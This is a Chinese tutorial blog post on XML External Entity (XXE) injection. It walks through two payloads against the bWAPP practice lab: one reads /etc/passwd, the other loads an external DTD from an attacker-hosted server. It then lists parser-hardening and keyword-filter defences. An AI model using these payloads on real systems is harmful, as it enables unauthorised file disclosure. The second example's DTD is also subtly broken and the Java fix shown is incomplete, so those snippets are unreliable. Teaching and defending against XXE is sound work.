本文主要是介绍XXE注入--XML外部实体注入(XML External Entity),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
前言
很早就听说过这个漏洞,但是在实际的环境中很少遇见,最近碰到过XXE注入漏洞,于是就来研究一下XXE注入。
XXE Injection即XML External Entity Injection,也就是XML外部实体注入攻击.漏洞是在对非安全的外部实体数据进⾏行处理时引发的安全问题
XML知识
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
**内部声明DTD**
<!DOCTYPE 根元素 [元素声明]>
**引用外部DTD**
<!DOCTYPE 根元素 SYSTEM "文件名">
或者
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
**内部声明实体**
<!ENTITY 实体名称 "实体的值">
**引用外部实体**
<!ENTITY 实体名称 SYSTEM "URI">
或者
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
XML外部实体注入(XML External Entity)
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。我这里使用bWAPP漏洞靶场来介绍两种利用XXE漏洞的方式:
恶意引入外部实体一
XML代码:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [<!ENTITY b SYSTEM "file:///etc//passwd">]>
<login>&b;</login>
- 在bWAPP靶场中选择好XXE漏洞,再使用burpsuite抓取数据包;
- 再burpsuite中可以看到抓取的POST包中传递的是XML,我们就这这里修改并插入构造好的XML代码;
- 我们现在将上面的代码修改;
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a[<!ENTITY b SYSTEM "file:///etc//passwd">]>
<reset>
<login>&b;</login>
<secret>login</secret>
</reset>
- 最后点击“go”放POST包,响应包中就有我们需要的passwd文件内容;
恶意引入外部实体二
这个方法是通过XML引用外面的DTD文件来利用XXE漏洞
XML代码:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [<!ENTITY % d SYSTEM "http://192.168.1.19/1.dtd">%d;]>
<reset><login>&b;</login><secret>Any bugs?</secret>
</reset>
DTD文件(1.dtd)内容
<!ENTITY %b SYSTEM "file:///etc/passwd">
- 还是老样子,使用burp suite抓取POST数据包,再POST包中修改XML代码;
- 在本地搭建服务器,编写好DTD文件,以便XML能够引用;
3.最后点击“go”放POST包,响应包中就有我们需要的passwd文件内容;
防御XXE攻击
方案一、使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方案二、过滤用户提交的XML数据
关键词:<!DOCTYPE和<!ENTITY,或者,SYSTEM和PUBLIC。
bWAPP靶场可以参见以下链接
BWAPP:一款非常好用的漏洞演示平台
渗透测试平台bwapp简单介绍及安装
这篇关于XXE注入--XML外部实体注入(XML External Entity)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!